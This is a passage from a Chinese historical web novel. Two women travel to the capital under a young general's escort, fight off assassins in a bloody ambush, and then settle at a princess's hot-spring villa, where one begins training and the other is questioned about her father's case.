昨日只有两人,楚棠和夏时自然不敢冒险进城。可现在不同了,无论是唐奕的身份还是她带来的这群军中老卒,都给了两人极大的信心,便敢大摇大摆的进城去。 没有人阻拦,马车顺利进了城,头一站要去的地方却是药铺。 难得这次身体出问题的不是体质更差的楚棠,而是向来强健的夏时——许是身上的伤久久未能痊愈,也许是这些天带伤操劳,更或者是昨日遇见接应放下了心中大石,晚间夏时就在马车厢里发起了热。她烧得一塌糊涂,身边又没带着药,自然便得入城求医。 马车晃晃悠悠驶入城门,楚棠倚在车厢上,将夏时半抱在了怀里。她时不时伸手去探夏时的额头,可惜每次摸到都觉烫手,让她心忧不已。 终于,行驶的马车停下了,唐奕在外敲了敲车厢:“医馆到了。” 楚棠应了一声,穿上唐奕提供的斗篷遮住大半张脸,这才掀开车帘让马车外的人进来。 唐奕亲自爬上马车帮忙把夏时抱了出来,一路送进了医馆。大夫看过倒没什么大碍,不过是疲劳过度加上外伤引发的高热,以夏时的体质喝上两副药休息两日便能痊愈。 楚棠付了银子,请医馆帮忙熬了药,看向夏时的目光中满满的都是心疼。 唐奕将这些都看在了眼里,犹豫一番还是上前说道:“此地不便久留,更不是能安心修养的地方,还是尽快归京为好。” 楚棠闻言垂眸,她当然也明白这个道理,可是…… 一直昏昏沉沉的夏时这时却醒了,伸手握住楚棠的手:“我没事,坐在马车里也是休息。” 唐奕一听这话也怕楚棠心软犹豫,当下不敢耽搁,丢下句:“你们且在这里,我去寻辆好些的马车。” 她说完转身就走,一看那架势就和夏时昨晚打的主意一样,根本就没想在庆阳城逗留。如果不是夏时忽然发热这场意外,她们或许已经从西城门出去了,连这点耽搁都不会有。 楚棠当然会因夏时心软,可她也不是看不清形势的人,因此也没有叫住唐奕的意思。她只想了想,从怀中掏出块银子递给旁侧的护卫,交代一句:“劳烦这位大哥,帮忙买些软和热乎,适合病人吃的食物。最好再买只小锅,能在路上熬粥用。” 护卫应声而去,身影很快消失在风雪中。 医馆熬药的速度不慢,至少在唐奕和那护卫回来之前,黑乎乎的汤药就已经送到了楚棠手里。 药汤的气味从来算不得好,楚棠刚接到手里,就被汤药那苦涩的气味熏得屏住了呼吸。好在这回药不是她喝,她一手端着药碗上前,一手准备将病床上的人扶起来。 夏时倒不用她扶,醒来之后虽然仍旧觉得身体疲软无力,却也渐渐找回了几分身体控制权。她自己撑着医馆的小榻坐了起来,也不必楚棠开口劝,便冲她伸出手道:“药给我,我自己来吧。” 楚棠将滚烫的药汤晾了晾,摸着碗不觉得怎么汤了,才将药递给了夏时。 夏时不常生病也不常吃药,但她知道越苦的东西越不能拖延,最好一口气吞掉。于是干脆拿出药碗里的汤勺,自己举起碗一饮而尽……还是苦得不行,苦得她整张脸都皱了起来。 楚棠及时递上一杯清水:“赶紧漱漱口。” 夏时连忙接了,清水冲淡了口中的药味儿,这才让她觉得好受了些。 这一通忙活下来,夏时终于精神了些,冲楚棠笑道:“好了,我没事了,烧一会儿就能退了。” 楚棠摸摸她的脸,还是觉得有点烫,心里忍不住又叹了口气。 ****************************************************** 一碗药刚下肚,自然做不到药到病除,但眼看着夏时情况还算不错,一行人也没耽搁。等唐奕寻了更宽敞保暖的马车回来,她们便再次启程,自西城门离开了庆阳城。 算算时间,她们在城中逗留不足半日,甚至连午饭都没顾得上吃。 唐奕和她带来的人都是行伍出身,对于赶路啃干粮这事一点不陌生。她们得到消息比较晚,自京城赶来甚至算得上急行军,一路都是啃着干粮在马背上度过的。 如今顺利接到人,众人心头一块大石落地,虽然回城的路依旧算不得轻松,但也比来时好上不少了。 中午时,众人前行的步伐也没停。楚棠在马车里架炉子熬粥给夏时这个病号吃,马车外众人却是半点不讲究,包括唐奕都顺手掏出干粮来啃。 走着走着,骑马走在最前方的唐奕忽然抬手勒停了马儿。 跟在她身后的护卫顿时默契的跟着停下,众人纷纷扔下了手里啃到一半的干粮,反手握住了马鞍旁的兵器——他们曾跟着小将军出生入死,这点默契还是有的,一看唐奕那警惕的模样就知道,这周围必定有人埋伏。 果不其然,就在队伍停下的下一刻,一群藏在雪中的白衣人便冒了出来。他们也不管唐奕等人的身份,挥刀便向他们袭来,看看人数至少是唐奕等人的两倍! 唐奕见状“呵”的冷笑一声,却是半点不惧,反手就从身后的布袋里取出两截金属长棍。她将这两截棍子对齐一扭,顿时将两截棍子拼接成了一杆长枪,接着长枪一扫,立刻便将冲她扑来的两个白衣人击得倒飞出去——曾经在万军之中取敌将首级的唐小将军擅长的可从来不是剑,而是一杆长枪。 马车外“兵兵砰砰”打了起来,唐奕一杆长枪舞得滴水不漏,不仅不让刺客近身,简直是谁上谁死。可饶是如此,围着她的人也依旧不少,这些刺客竟是些不怕死的死士。 而另一边,唐奕带来的护卫虽不如她凶悍,但也都是百战老兵,应付起一两个死士也不在话下。 可即便如此,这次来袭的死士也太多了些,分出大半人手拖住了唐奕和她的人后,竟还分出了三五个人直扑马车——他们是从庆阳城一路跟出来的,自然也看到了一行人去医馆求医的事,知道马车里一个病号一个弱女子,有这三五人对付简直绰绰有余。 唐奕见状暗道一声“不好”,长枪一挥就要过去援手。可围困她的人是最多的,原本白衣人们只打算拖着她还未尽全力,可见唐奕要去帮忙,顿时都使出了浑身解数拖延。 不得已,唐奕还真被这众多的死士拖住了一时片刻,眼看着那边的白衣人已经靠近了马车。 昨日的一幕又重现了,车帘被掀开的瞬间,雪亮的刀光乍现……不同于唐奕的应对自如,掀车帘的白衣人只顾着防备周围,显然没料到马车里的人还有余力反扑。他躲闪的速度慢了一瞬,于是带着缺口如锯齿一样的刀锋便抹过了他的脖子。 很疼,非常疼,怎么会有人用这样破烂的刀杀人啊?! 白衣人瞪大了眼睛,眼睁睁看着面前一蓬血雾炸开,这才后知后觉的伸手去捂脖颈上的伤口。可这显然无济于事,短短几息功夫,他浑身的力量就随着血液流失殆尽,不得不脱力的向后倒去。 第一个丧命的白衣人显然为后来者提供了足够的警示,虽然出手的人一刀功成之后就再次缩回了马车里,可其他人也不敢再贸然上前。他们挥刀劈开了遮挡视线的车帘,这才看到马车里满脸通红的女郎,正小心护卫着身后的女子。 几个人对视一眼,接着齐齐将刀锋对准了明显还在发热的夏时——反正他们需要带回京城的活口只有楚棠一个人,其他人杀了就杀了,也免得节外生枝。 72☆、第72章 ◎她满头满脸满身的血◎ 浓烈的杀意扑面而来,让夏时一瞬间仿佛回到了熟悉的山林,面对豺狼虎豹。 换做旁人遇到这般情况可能会慌张恐惧,但夏时不同,她曾无数次面临这样的凶险,不说早已经习以为常,这样浓烈的杀意反倒激得她兴奋起来,连发热带来的头晕症状都缓和了许多。 当然,对手并没有给她调整状态的时间,几乎在确定主意的下一刻,四五个白衣人便齐齐攻了上来。他们手中的刀锋雪亮,相较之下夏时手中那破破烂烂的猎刀虽然染血凶戾,但看一眼就让人担心,它是不是还能撑过这一次的劈砍? 夏时心里也有数,因此面对迎面而来的刀锋,她并没有举刀去挡。当然避让也是不可能的,不说车厢狭小,她身后护着的楚棠就不容她躲避。 所幸小猎户最擅利用环境,就在这千钧一发之际,只见她手中猎刀一挑,正好挑中车厢里还在燃烧的炭盆。于是一整盆红彤彤的炭火,连带着上面正煮着粥的小锅一起向着车厢外砸去,一时间滚烫的汤水伴随着火星冲着马车外的白衣人泼洒而去。 再是不怕死的死士面对这场面都得退避三舍,几个白衣人自然也不例外,顾不上车内两人纷纷后撤。最前方的两人怕汤水溅到脸上,还举手去挡。 夏时立刻抓住了这个机会,从车厢里一跃而出,手中猎刀迅速向着一人心口捅去。 那人反应倒快,察觉到风声不对后立刻举刀来挡。两人刀锋相接,发出“砰”一声脆响的同时,也炸出一片细碎的火花。 猎刀被挡住了,但对方显然低估了夏时的力道,被逼得后退的同时,夏时刀锋顺势一转,绕过他手中长刀便向下划去——开膛剖腹这技能,小猎户使得也十分娴熟,甚至比起从前给野兽开膛,没有厚实皮毛防护的人体更加脆弱。即使是破破烂烂的刀,也顺利破开了眼前敌人的胸腹。 大蓬的鲜血瞬间喷涌而出,夏时甚至没来得及后退,就被敌人的热血浇了一脸。她微微眯了眯眼,旁侧立刻有刀锋来袭,直直向着她面门劈来。 凌厉的刀风不需细看,夏时立刻察觉到危险,当下毫不留恋的弃刀后撤,那一刀堪堪擦着她鼻尖落下。而她虽没受伤,白衣人也不觉得这一刀白费,毕竟夏时手中唯一的武器没了,那就和老虎被拔了牙没区别,再要收拾起来就容易多了。 敌人的攻势瞬间更加凌厉,夏时躲避的同时目光四扫,想要寻一把替代的武器,却根本没有机会去取。三四把长刀对着她紧追不舍,刀刀冲着她要害招呼。 夏时只能躲,试图将敌人引走的同时,还得观察马车那边的情况,怕被人钻了空子。 忽的,她眼角余光瞥见马车上一道人影跳了出来,那人俯身在地捡起了什么,紧接着就听见楚棠那熟悉的声音喊了一句:“接着!” 夏时下意识伸手接住了对方抛来的东西,入手一沉,才发现是和白衣人同款的长刀——刚才她一出手就抹了一个白衣人的脖子,那人就死在了马车跟前,这多半便是他的刀了。 这刀和夏时惯用的猎刀全不相同,但夏时半点也没嫌弃,长刀入手的瞬间她眼睛就亮了。面对再次攻来的几把长刀,她忽的矮身躲过,接着就势在地上一个打滚,滚到一个白衣人后方,毫不犹豫抬手便将刚入手的长刀从对方后腰捅了进去。 这个位置对人来说也是很致命的,更妙的是刀锋捅入刺破的只会是内脏,而几乎不会被骨头卡住。因此夏时这一刀简直又快又狠,捅进去的时候快,拔出来的时候也快。 又一个白衣人捂着后腰倒下了,待他的同伴追来,夏时早已经抽刀远离。 就这样,夏时仗着自身的灵敏和这些死士周旋起来,然后一个接一个的,慢慢将这些人给磨死了。等唐奕终于解决完身边围困的白衣人,回头看来,正瞧见最后一个白衣人被夏时一刀钉穿了脚掌。然后在对方吃痛反应迟钝的当口,迅速一手肘击在对方心口,将人打得避过气去。 嘿,这家伙居然还记得留活口。只可惜来的是群死士,就算留了活口也问不出什么。更何况事到如今,谁派出来的人其实已经不重要了,长公主举目皆敌。 ******************************************************************* 这一群死士出现得突然,但解决起来也并没有花费太多时间。尤其是在唐奕腾出手来之后,胜利的天平迅速倒向了她们,数十个白衣人最终无一逃离。 唐奕抖了抖枪尖上的血,策马来到浑身浴血的夏时身边,刚想问她情况如何,就见她跌跌撞撞向着马车跑去。唐奕见状自然也跟了上去——她没怎么担心,因为对方的目的是抓活口,而此番来袭的死士没有一人逃脱,楚棠自然也不可能被带走。 然而等到了*近前,唐奕探头往马车里一看,却是大惊失色。 只见马车车帘被砍落,车里空空荡荡一眼就能看清,哪里还有楚棠的身影? 唐奕呼吸一滞,再看夏时,却见她已经弯腰看向车下。于是小将军迅速抬腿下马,也跟着往车底下一看,这才发现楚棠不知何时竟是藏到车底下去了。 人没丢也没伤,这就好。 唐奕松了口气,伸手过去帮着把楚棠拉了出来。 楚棠冲她道了声谢,可一双眼睛却是半点没落在她身上,只顾着去看夏时了——此时此刻,夏时确实比唐奕更需要关心,毕竟小将军一杆长枪远距离杀敌,身上连血都没沾上几滴。而夏时就不同了,她满头满脸满身的血,也不知是敌人的还是她自己的,让人想要触碰都不敢伸手。 指尖微微颤抖,楚棠咬了咬唇稳住心神,这才问夏时:“阿时,你怎么样,伤到哪里了?” 夏时也知道自己现在什么情况,刚才就没试图伸手扶人,免得一碰一个血手印。听到楚棠问话,她照常露出个安抚的笑:“放心,我没事。” 听声音不算中气十足,但也只是微微虚弱。 楚棠一颗心还没放下,就见夏时眼睛一闭,径自向她栽倒过来。 她想也没想就伸手将这个血人接住了,只是柔弱的大小姐显然抱不动浑身肌肉紧实的小猎户。楚棠被夏时倒下的力道带得一个踉跄,眼看就要跟着摔倒,所幸旁边的唐奕及时伸手帮着扶了一把,才让这两人免于伤上加伤。 不过楚棠还是被吓了一跳,她大惊失色的去拍夏时的脸:“阿时,阿时你怎么样,醒醒啊?” 夏时没有醒,不过楚棠也发现她的脸比之前更烫了。再摸摸额头,别说是退热了,这一番折腾下来夏时烧得更厉害了,额头摸着简直有些烫手。 楚棠心慌了一瞬,又迅速让自己冷静下来,扭头对唐奕说道:“帮我把她抱上马车可以吗?” 唐小将军一点不嫌弃夏时满身的血,一弯腰将人打横抱起,直接送上了马车。这期间她也仔细观察过,发现夏时身上的衣裳虽然添了许多破口,但却不像有伤,至少不会是重伤。于是跳下马车时,她也告诉了楚棠:“放心,我看她身上应该没什么严重的伤,你一会儿可以检查下。” 楚棠又道了声谢,急急忙忙爬上了马车,然后后知后觉发现车帘被砍掉了,现在车厢里的情况可谓是敞开任看,既不能遮蔽风雪,也不能遮挡视线。 唐奕自然也发现了,帮忙把马车修理一番,这才勉强堪用。 待车厢里只剩下两人,楚棠也顾不上天冷,迅速将夏时身上的血衣脱去,把人扒了个一干二净——唐奕说得一点没错,小猎户常年与野兽搏命,因此很会自保,身上的划痕大多只划破了衣裳没有伤到皮肉。新添的两道伤口也很浅,更不是什么要害位置,倒是后肩上的箭伤再一次崩裂了,流的血比新伤还多。 楚棠看着这大大小小的伤眼眶微红,不管是轻是重这些伤都是为她受的。可当下并不是悲春伤秋的好时候,楚棠也只能忍着泪意替夏时将伤口处理了,又替她换上干净的新衣。 只是垂首抬眸间,那双向来温柔的眼睛里却多了几分狠意。 …… 马车外,唐奕一行人飞快收拾着残局。受伤的人包扎处理伤口,没受伤的人将死士的尸体直接扔去道旁树林,根本不需掩埋,只等着野兽晚些来吃。 唐奕自不必亲自动手,她倚马而立,看了看手下刚送来的令牌。那是她的人亲手从尸体身上搜出来的,她看过之后却轻嗤一声,显然对这令牌的真伪相当质疑。 她本想随手扔了,但想了想之后,还是将之收入了怀中。 外面残局收拾得差不多的时候,马车的车帘才再次掀开,楚棠探头出来看了看情况。 唐奕见状起身迎了过去,问道:“怎么样,她伤得重吗?” 如果一开始唐奕对夏时还有几分不以为然,觉得她是撞大运才会和楚棠扯上关系,现在她对这人也多了几分看重——小猎户与人搏命的本事不差,更重要的是她对楚棠的维护,真心实意总是不会被人轻视的。 楚棠皱着眉,目光在地面逡巡几回,反问她:“炭盆和锅还在吗?她烧得厉害,我得再给她熬副药。” 唐小将军闻言便知夏时的伤不如病严重,“哦”了一声,低头给她找锅去了。 73☆、第73章 ◎一行人终于踏入了京畿之地◎ 接连几日,夏时都是昏昏沉沉度过的。 她记不得自己被喂了几次药,又喝了几次粥,记忆中偶尔清醒的时间总觉得身体摇摇晃晃。起初她以为是头晕,后来才反应过来,是马车一路行驶都没怎么停过。 所幸这段赶路的时光过得还算平静,也不知那些冲着楚棠来的人是见识了厉害,还是当日在庆阳城外就被她们解决了个干净,总之后来是没再遇上过。至于其他问题,例如补给,例如路引,这些都用不着夏时和楚棠操心,唐奕派遣属下便处理了个妥妥当当。 等到夏时终于从这场急病中彻底痊愈,后肩上的箭伤已经好得七七八八。掀开马车车帘往外一看,风雪都停了,路上的积雪也融化了个七七八八,天气似乎开始转暖。 一瞬间,夏时有种恍如隔世的感觉,忍不住扭头问楚棠:“现在什么日子了?” 楚棠将她拉了回来,重新将车帘放下,免得她再吹风着凉:“正月十七了,前日才过了上元节。” 夏时闻言松了口气,算算日子,她也就病倒了七八天,并没有想象中那样久。不过回想起除夕至今一桩接一桩发生的事,还是让人不免感慨世事难料。 伤势恢复,病症痊愈,以夏时的体质自然很快恢复了过来。之后她又问过楚棠,这才知道一行人日夜兼程的赶路,再过几日便能抵达京城了——夏时听后有些恍惚,还有些不安,那是她从未见识过的繁荣之地,她跟着楚棠回来,忽然有些不知如何自处了。 楚棠一眼就看穿了她心底的不安,于是握住夏时的手,与她十指相扣:“有什么好担心的?我还是罪人之身呢,你与我一起回来,倒是我连累了你。” 夏时心里的忐忑在听到这句话时瞬间就被压下了,她抬手去捂楚棠的嘴,很是不高兴:“胡说,你什么时候连累我了?更何况我听唐小将军说过了,你那什么罪人身份,别说是你了,就是你爹都是被冤枉的。等回头长公主得势了,你们家肯定能够平反的。” 她明明只是个不知朝堂事的小猎户,可说起这些话来却是万分笃定,看得楚棠失笑之余也莫名心安。她微微偏了偏身子,将头靠在了夏时不曾受伤的那边肩膀上:“好,那就借你吉言。” 这番对话过去没几天,一行人终于踏入了京畿之地。 唐奕紧绷了一路的心弦总算放松了几分。别的不说,这天子脚下再想派出死士来抢人,可就不是随手就能掩盖的小事了。想必那几位皇子还没昏了头,早早让亲爹知道自己豢养死士的事,楚棠也没重要到非她不可的地步。 私心里,唐奕猜测那群白衣死士的主人,这会儿估计都得心疼得吐血了——死士可不是那么好养,每个死士的背后都代表着一大笔银钱支出。一口气在她们这里白白折损了几十个,是个人都得心疼。 想着想着,唐奕又将放松的那点心弦绷紧了,她可不想在最后这点路上马失前蹄。 轻轻一扯缰绳,唐奕驾马来到了马车一旁,抬手敲了敲车厢。 车帘很快掀开一角,只是顾虑着京城认识楚棠的人多,露面便是夏时:“怎么了?” 唐奕驾着马不紧不慢的跟在马车旁,闻言回道:“最迟明日便能抵达京城了,你们是何打算?” 楚棠的声音便从夏时身后传来,只依旧没有露面:“我们自是没什么打算,全看殿下安排。”说完顿了顿,才又补充道:“不过我想见知微一面。” 唐奕便点点头,事实上她离开前长公主早有安排:“既然如此,二位不妨去汤泉山暂住。长公主在那里有一处别院,想必寻常人也不敢擅闯,正可暂时避祸。至于知微,她这些日子在京中颇为活跃,想必盯着的人不少,短时间内恐怕不便出城。” 楚棠闻言是何反应暂且看不到,但夏时听完却是忍不住皱眉——说什么长公主的别院寻常人不敢擅闯,可长公主的敌人那是寻常人吗?这么明显的窝藏罪人,怕不是给人递把柄! 夏时欲言又止,可想了想觉得长公主那样的人物,不可能连她都比不过,想不到这些。于是犹豫再三,还是没有开口质疑,身后倒是传来楚棠平静的回应:“那便如此吧。” ************************************************************************** 夏时没想到,自己与楚棠和温泉还真有点缘分。 当初在云雾山中避祸两人就是躲在温泉山洞里,如今远赴千里来到京城,连城门都没看见,就再次被安排在了温泉庄子上——虽然这温泉庄子是长公主的,内里奢华远不是温泉山洞能比,许多东西夏时更是见也没见过,但总归她们是再次与温泉为邻了。 来到温泉山庄的第一天,唐奕便像是扔下了什么包袱似得,大吃一顿后就招呼两人一起去泡温泉:“公主这处别院里的汤池不少,除了一处是她自己专用的,其他地方都可待客。走走走,我带你们去挑个合适的池子泡一泡,去去寒气,也解些疲乏。” 说罢便不由分说的推着两人去泡温泉了。唐奕对这别院也算熟门熟路,但好在她还知道些分寸,挑了一处池子给小两口,自己则去了另一处泡着。 泡温泉这事儿,楚棠和夏时自然都不陌生。 两人接连赶了大半个月的路,都没机会好好洗漱沐浴,要不是正值寒冬汗出得少,两人身上早就有异味了。如今来到安全的地方,吃了一顿饱饭,也正该好好沐浴一番再去休息。 心里这样想着,再加上这里到底是别人的地方,两人这温泉泡得也算安分。 夏时一边拿着布巾帮楚棠擦背,一边终于找到机会问她:“阿棠你说,长公主她们怎么就把咱们安置在这里了?要是被人闯上门来,咱们躲都没地方躲去,长公主更是没有推脱的余地。” 楚棠双手搭在汉白玉的池壁上,懒懒趴着任由夏时替她擦背:“自是因为有恃无恐。” 夏时不清楚京中局势,自然也不清楚这有恃无恐恃的是什么。不过她也懒得追问,只要楚棠说这样安排没问题,她也就相信了,安分待在这里可比被人追杀的好。 楚棠静静泡了一会儿,夏时不仅帮她擦了背,浑身上下都帮她洗得差不多了。等帮楚棠打理完,她才开始擦洗自身。楚棠想起什么抬眸看过去,就见夏时手臂上一道浅浅划伤,伤口早就结痂了,只是在水里泡久了有些泛红。 “哗啦啦”一阵水响,却是楚棠起身绕去了夏时背后。 只见那光洁的脊背上也有一道新伤,只是这伤比手臂上的还浅,看着并不妨事。最碍眼的还是她后肩那处箭伤,伤口只有指头粗细,偏偏伤了这么久仍未痊愈。 楚棠怕她动作粗鲁再将结痂弄破了,于是从夏时手中接过布巾帮她擦起后背。 夏时也不拒绝,学着楚棠之前的样子趴在汤池边沿,懒洋洋的眯起了眼睛,颇为享受的模样。 只是这享受还没持续多久,身后就传来了楚棠的声音:“阿时,从明日起,我恐怕就没什么时间陪你了。” 夏时倏地一下睁开眼睛,赶忙回转过身:“怎么了?出什么事了?” 楚棠原本正帮她擦背,结果夏时这转身来得太快,她手一下没收住,隔着擦背的布巾就直接按在了夏时胸口上。入手软绵绵的,楚棠的耳朵一下子就红了,接着飞快收回了手。 夏时倒没觉得有什么,她们俩什么事没做过,这点亲密根本不值一提。见楚棠心思偏转没有回答自己,她更是着急的一把抓住了楚棠的手腕,又问了一遍:“怎么了?你有什么事还得丢下我?” 楚棠回神,一眼就看见了夏时紧皱的眉头和眼底的焦虑,于是忙安抚道:“别乱想,我怎么会丢下你?只是此番长公主将我接回京城,自然是有事要我去做的。” 说实话,单是有人想抓她污蔑长公主这事,其实根本不足以让长公主派出唐奕千里驰援,更没必要将她带回京城。狠心些的人会直接斩草除根,心软些的也只会将人远远送走。而长公主选择冒险将人接回京城,自然是另有目的。 这目的夏时不清楚,但唐奕曾经其实是提起过的——有关楚棠父亲的案子,五皇子曾经查出的问题究竟是什么?楚棠至今不清楚内情,但她知道这内情里必然有她帮得上忙的地方。 那或许便是长公主将她接来京城,甚至将她安置在自己别院里的真正目的。 夏时听得似懂非懂,她也不深究太多,只抓着楚棠手指轻摇:“那,那我不能陪你一起吗?” 楚棠觉得大抵是不能的,否则当初唐奕说话就不会那样含含糊糊,至今没有透底了——小猎户心思单纯没坏心,但有时候无知懵懂就是错,万一她知道太多一不小心泄露了消息出去呢?与其如此,还不如让她什么都不知道,大家也更加安全且放心。 夏时不傻自然听出来了,心里顿时沉甸甸的发苦,抓着楚棠的手也下意识松开了。 只是她刚松开手,就又被楚棠反手扣住了。纤细的手指滑进了夏时的指缝,与之十指相扣:“乖,我请小将军教你些本事,你跟着她学习打发时间好吗?” 74☆、第74章 ◎先露一手给我看看◎ 楚棠的猜测一点没错,两人被安置在长公主的别院并非别无去处,也并不是长公主心血来潮想要庇护她这个并不熟悉的罪臣之女。 翌日一早,楚棠和夏时的卧房门便被敲响了。 所幸两人起得还算早,夏时听到动静主动过去打开了房门,就见门外站着个侍女。只是对方显然不是来照顾两人的,她见门开了便冲二人福了福身,然后便目光准确的落在了楚棠身上:“楚姑娘,长公主有事相托,还请姑娘随我一行。” 楚棠早有所料,也早将自己收拾得妥帖,闻言也没多问便点点头,径自走向了门外。 夏时见状有些不安,下意识伸手又不敢去拉楚棠,最后也只拽住了她一片衣角。不过楚棠感受到了,于是回头冲她说道:“放心,我晚些时候就回来,你先去找唐小将军吧。” 唐奕远赴千里接应两人,这一趟离京便是月余,连过年都没能和家人一起。按理说这时候她好不容易回来了,是该先回家一趟的,可大抵是不放心将两人独自留在别院,她暂时也没说要离开。楚棠昨日便趁机将夏时托付给了她,正好唐奕对夏时有些兴趣,便也没有拒绝。 这是早就说好的事,唐奕一路护送,双方也有了些交情不算陌生。但乍然与楚棠分离,显然还是让夏时感到了不安,她手指收缩了几次,终究还是松了手。 “嗯,你去吧,我会照顾好自己的。”夏时将手背在了身后,一脸强装的无事。 楚棠自然看穿了,心里顿时涌起些不舍与心疼来。可她们都不是小孩子了,有自己的事必须做,于是到底还是狠心回头,跟着那侍女快步离开了。 夏时一路目送着两人远去,直到楚棠的身影沿着回廊越走越远,最后拐了个弯消失在视野之中,她才恋恋不舍的收回了目光。 只是这一瞬她心情也变得低落,蔫头耷脑的样子,活像是只被主人抛弃的大狗。 忽的,一阵轻微破风声响起,蔫头耷脑的夏时立刻察觉侧身一躲,堪堪躲过一颗砸向她肩头的小石子。她拧着眉顺着石子来处看去,便见唐奕不知何时到的,此刻正斜倚着廊柱抛石子:“不错嘛,我还以为你望眼欲穿成了望妻石,没想到还有几分警觉性。” 夏时不想反驳什么,想起昨日楚棠亲自把自己托付给了对方,她转身关上房门就向着唐奕走了过去:“走吧,我今天都跟着你。” 唐奕闻言便将手里抛着的小石子随手扔了,笑道:“行,那就跟我来。” 这处别院的占地很是广阔,亭台楼阁、花园假山,外加七八个冒着热气的汤泉小院,夏时行走其中甚至觉得这里比石田村还大。她也不关心唐奕这是要把自己带去哪里,只是跟着走了一段路,目光便忍不住频频落在唐奕身上。 唐奕身为武将,自然没有忽视这道存在感极高的视线,她回头问道:“你想说什么?” 夏时倒也不客气,直接问道:“你离京这么久,回来都不想家吗?”说完顿了顿,又道:“听说你是阿棠好友的夫人,这么久没见,你就不想她吗?” 唐奕闻言微微一愣,显然没料到她想说的是这个,一时竟有些恍惚——她和沈知微其实聚少离多,她当然也是想念的。可出身将门,她自小便看着父亲镇守边关,而母亲则留在京城家中照顾老人,这样的聚少离多对她而言便成了常理。哪怕想念,也不会宣之于口,更不会耽搁正事。 于是怔愣过后她笑了笑,以打趣般的口吻对夏时说道:“怎么,你想楚棠了?不愧是新婚不久,如胶似漆的时候,这才分开多久就舍不得了?” 夏时被她一语道破了心思,耳朵不由微微发烫,但也承认了:“她不让我跟着。” 说这话时,夏时眉眼又低垂下去,虽然没有先前蔫头耷脑来得明显,但也一副可怜巴巴的样子。要是楚棠看了肯定心软,不过唐小将军可不吃这一套,顺手还她脑袋上敲了一下:“人家是有正事,你黏过去算怎么回事?走了走了,你也跟我做正事去。” 唐奕说完拉着夏时又走了一阵,绕过一片屋舍后,入目的居然是处宽敞的演武场。 夏时没什么见识,但演武场上的刀枪剑戟,以及弓箭靶子之类的东西,她自然是认识的。只是看着这些,她忍不住歪了歪头,露出几分疑惑来——她自然是不认识安平公主的,可传说中的公主不都是娇生惯养,学些琴棋书画吗?难道这位长公主特殊些,就喜欢舞刀弄枪? 这话夏时没问出口,但她的表情已经将她的心思暴露无疑。 唐奕都没眼看,抬手将她那犯蠢的表情挡了挡,说道:“我知道你打猎的本事应该不差,至少杀人挺利落,不算没有安身立命的能力。但你要记得,在京城那些本事都是其次的,你首先得学会装。装得若无其事,装得不为所动,装得所有人都看不出你心里在想些什么。” 这是唐奕教夏时的第一课。虽然在此之前,她带夏时来演武场是想试试她的本事,将来或许可以把人往武将方面培养——长公主若能上位,朝堂中的女官当然越多越好。 夏时也不蠢,脸上的表情立刻收敛起来,整个人的气质也变得沉默而锋锐。 唐奕都被她这迅速变脸的本事吓了一跳,但事实上在夏时遇到楚棠之前,独自生活的她更多时候就是这般模样的。对别人的事毫无兴趣,自然也不会轻易被影响。 绕着夏时看了两圈,唐奕点点头:“没错,这样就挺好,今后在外面最好都摆出这幅样子来。” 夏时点头表示受教,唐奕也就不多说什么了。她径自走到兵器架边看了看,然后率先挑出一把弓扔给了夏时:“你既然是猎户,想必射术不差,就先露一手给我看看。” ****************************************************************** 夏时被唐奕拉去演武场摸底的时候,楚棠则跟着侍女去了与之完全相反的方向。 两人一前一后,穿过回廊路过庭院,最终来到了位于别院中心的主院——这里显然是长公主的居所,哪怕主人常年待在京城很少驾临,这处院子外依然有侍卫常年把守。 楚棠见来的是主院,脚步不免微顿,可心思一转就知道长公主必然不在这里。 从前安平公主只是五皇子的姐姐,又不受皇帝宠爱,在京中不说是个隐形人,但至少存在感并不十分强烈。她想去哪里,想与谁结交,不会有人时时盯着。可现在就不同了,她不仅站在台前锋芒毕露,还因为身份的原因引起所有人针对,那她的行动便再不能如从前一般自由。别说楚棠不是什么要紧人物,就算是,她也不可能离开京城来别院就为见她一面。 那么此刻在这主院里等着她的,又会是什么人呢? 楚棠很快有了答案,在侍女的引路下,值守的侍卫并没有阻拦二人。于是她们踏进了主院,随后又去了属于长公主的书房,而此刻的书房里已经有人在等着她了。 那是一个女子,穿着青衫,男装打扮,举手投足间不见女儿的娇美,举手投足间倒有股独属于这人的风流姿态。她瞧见楚棠进门,抬手冲她一礼:“楚姑娘,久仰大名。” 楚棠一顿,回了一礼:“我却不知阁下名姓,还未请教?” 女子便笑道:“我姓萧,萧晏书,算是幕僚,偶尔为殿下出谋划策。” 楚棠闻言目光忍不住在萧晏书身上转了两圈,眼前这人看着便不同寻常,再加上能入了长公主的眼,想必也不是什么腹中空空的草包。而这样一个人,她从前从未听说过,是最近这几月听到长公主名声才投奔过来?还是这人早早就入了长公主麾下,却不曾抛头露面? 心念转了转,楚棠觉得应是后者,否则长公主不可能这么快就对这人交付信任。而若是长公主早早就收揽了属于自己的幕僚,再要说她从前没野心,也就有些说不过去了。 楚棠心里百转千回,面上却是半分不漏,接着萧晏书的话便问道:“萧先生既为殿下幕僚,此番招我前来必是有事吩咐,不知现下可能直言了?” 萧晏书道声“不急”,请了楚棠落坐,又亲手为她倒了一杯茶,这才说道:“前几月五皇子还在的时候,应承沈小姐替楚尚书翻案,不想事情查着查着查出了些不对来……不知楚姑娘对令尊的事知道多少?楚家遇难之前,令尊又可曾交代你些什么?” 楚棠对此早就有所猜测,因此在回京的一路上,也不止一次回忆曾经。可父女之间随着她年岁渐长,已不如幼时亲密,更何况朝堂正事她爹从来不会拿回家说,任她如何回忆,也想不出只字片语的特殊。至于她爹特意交代什么的,更是没有,毕竟在官兵破门抄家前,她爹照常去上朝根本就没见过她。 而在那之后,楚棠身陷囹圄,耳边只有亲戚们的咒骂声,哪里还见过她爹? 当下她也只能摇头,实话实说道:“没有。我什么都不知道,我爹也什么都没交代过。” 萧晏书闻言点点头,脸上也没有露出失望来,反而意有所指的说道:“我听闻,楚姑娘启蒙习字,是令尊亲手教导的?” 75☆、第75章 ◎一笔旧账◎ 日暮时分,一辆不起眼的马车自郊外而来,晃晃悠悠驶入了京城。 大半个时辰之后,这辆马车终于抵达了目的地,驾车的车夫跳下马车,熟门熟路的扣响了某处府邸的后门。少倾门便开了,开门的门子见是车夫也不多言,帮忙打开后门撤去门槛,这不起眼的马车便顺利驶入了府邸,车内的人自始至终不曾露面。 直到马车真正停下,车夫才跳下马车放好车凳,冲车内人说道:“先生,到了。” 马车的车帘掀开,青衫的女子从中走了出来,略一提袍脚,踩着车凳下了车。而后她挥挥手,冲车夫道一句:“无事了,回去休息吧。” 